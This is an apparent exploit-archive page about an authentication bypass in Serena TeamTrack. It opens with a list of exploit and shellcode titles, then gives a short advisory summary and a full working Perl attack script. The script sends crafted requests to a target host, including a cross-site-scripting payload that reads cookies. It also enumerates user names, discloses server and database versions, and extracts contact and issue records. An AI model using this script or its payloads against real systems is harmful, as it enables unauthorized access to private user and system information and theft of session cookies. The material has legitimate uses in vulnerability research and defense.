
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
174 lines
No EOL
3.5 KiB
Perl
Executable file
174 lines
No EOL
3.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/10770/info
|
|
|
|
It has been reported that Serena TeamTrack is affected by remote authentication bypass vulnerability. This issue is due to a design error that allows unauthenticated users to access sensitive scripts.
|
|
|
|
Successful exploitation of this issue will allow an attacker to gain access to sensitive information such as user names, software versions, user contact information, issues information and resolution information. This issue can also be exploited to carry out cross-site scripting attacks.
|
|
|
|
#!/usr/bin/perl
|
|
|
|
use IO::Socket;
|
|
|
|
if (($#ARGV+1) < 3)
|
|
{
|
|
print "Serena_hack.pl option host path
|
|
\t1 - Cross Site Scripting issue
|
|
\t2 - Enumerate users (First name)
|
|
\t3 - System information disclosure
|
|
\t4 - Contact name (default is Record ID 1)
|
|
\t5 - Name of Issue (default is Record ID 1)
|
|
\t6 - Name of Resolution (default is Record ID 1)
|
|
";
|
|
exit(0);
|
|
}
|
|
|
|
$option = $ARGV[0];
|
|
$host = $ARGV[1];
|
|
$path = $ARGV[2];
|
|
|
|
if ($option > 6)
|
|
{
|
|
print "No such option\n";
|
|
exit(0);
|
|
}
|
|
|
|
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
|
|
|
|
unless ($remote) { die "cannot connect to http daemon on $host" }
|
|
|
|
print "connected\n";
|
|
|
|
$remote->autoflush(1);
|
|
|
|
my $http;
|
|
|
|
if ($option == 1)
|
|
{
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=loginform&Message=<script>alert(document.cookie)</script> HTTP/1.0
|
|
|
|
";
|
|
# Cookie/Cross Site Scripting
|
|
}
|
|
|
|
if ($option == 2)
|
|
{ # Enumerate users
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=user HTTP/1.0
|
|
|
|
";
|
|
};
|
|
|
|
if ($option == 3)
|
|
{ # Information disclosure
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=about HTTP/1.0
|
|
|
|
";
|
|
}
|
|
|
|
if ($option == 4)
|
|
{ # Fullname for a certain ID
|
|
$RecordID = 1;
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=38 HTTP/1.0
|
|
|
|
";
|
|
}
|
|
|
|
if ($option == 5)
|
|
{ # Issue name
|
|
$RecordID = 1;
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=41 HTTP/1.0
|
|
|
|
";
|
|
}
|
|
|
|
if ($option == 6)
|
|
{ # Resolution name
|
|
$RecordID = 1;
|
|
$http = "GET /$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=42 HTTP/1.0
|
|
|
|
";
|
|
}
|
|
|
|
print "HTTP: [$http]\n";
|
|
print $remote $http;
|
|
sleep(1);
|
|
print "Sent\n";
|
|
|
|
my $display = 1;
|
|
|
|
if ($option == 2)
|
|
{ # Enumerate names
|
|
$display = 0;
|
|
# No need to display the complete HTML
|
|
}
|
|
|
|
if ($option == 3)
|
|
{ # System information disclosure
|
|
$display = 0;
|
|
}
|
|
|
|
if ($option == 4 || $option == 5 || $option == 6)
|
|
{
|
|
$display = 0;
|
|
}
|
|
|
|
while (<$remote>)
|
|
{
|
|
if ($option == 2) # Enumerate names
|
|
{
|
|
if (/<OPTION VALUE=([^>]+)>([^<]+)<\/OPTION>/)
|
|
{
|
|
print "ID: $1, Name: $2\n";
|
|
}
|
|
}
|
|
|
|
if ($option == 3)
|
|
{
|
|
if (/<input type="hidden" name="Product_Version.*" value="[ ]+([^"]+)"/)
|
|
{
|
|
print "Product version: $1\n";
|
|
}
|
|
if (/<input type="hidden" name="WebServer.*" value="[ ]+([^"]+)"/)
|
|
{
|
|
print "Web Server version: $1\n";
|
|
}
|
|
if (/<input type="hidden" name="WebServer_OS.*" value="[ ]+([^"]+)"/)
|
|
{
|
|
print "Server version: $1\n";
|
|
}
|
|
if (/<input type="hidden" name="DBMS.*" value="[ ]+([^"]+)"/)
|
|
{
|
|
print "Database version: $1\n";
|
|
}
|
|
}
|
|
|
|
if ($option == 4)
|
|
{
|
|
if (/Contact Details<\/span> - ([^<]+)</g)
|
|
{
|
|
print "Full name: $1\n";
|
|
}
|
|
}
|
|
|
|
if ($option == 5)
|
|
{
|
|
if (/Problem Details<\/span> - ([^<]+)/g)
|
|
{
|
|
print "Issue name: $1\n";
|
|
}
|
|
}
|
|
|
|
if ($option == 6)
|
|
{
|
|
if (/Resolution Details<\/span> - ([^<]+)/g)
|
|
{
|
|
print "Resolution name: $1\n";
|
|
}
|
|
}
|
|
|
|
if ($display)
|
|
{
|
|
print $_;
|
|
}
|
|
}
|
|
print "\n";
|
|
|
|
close $remote; |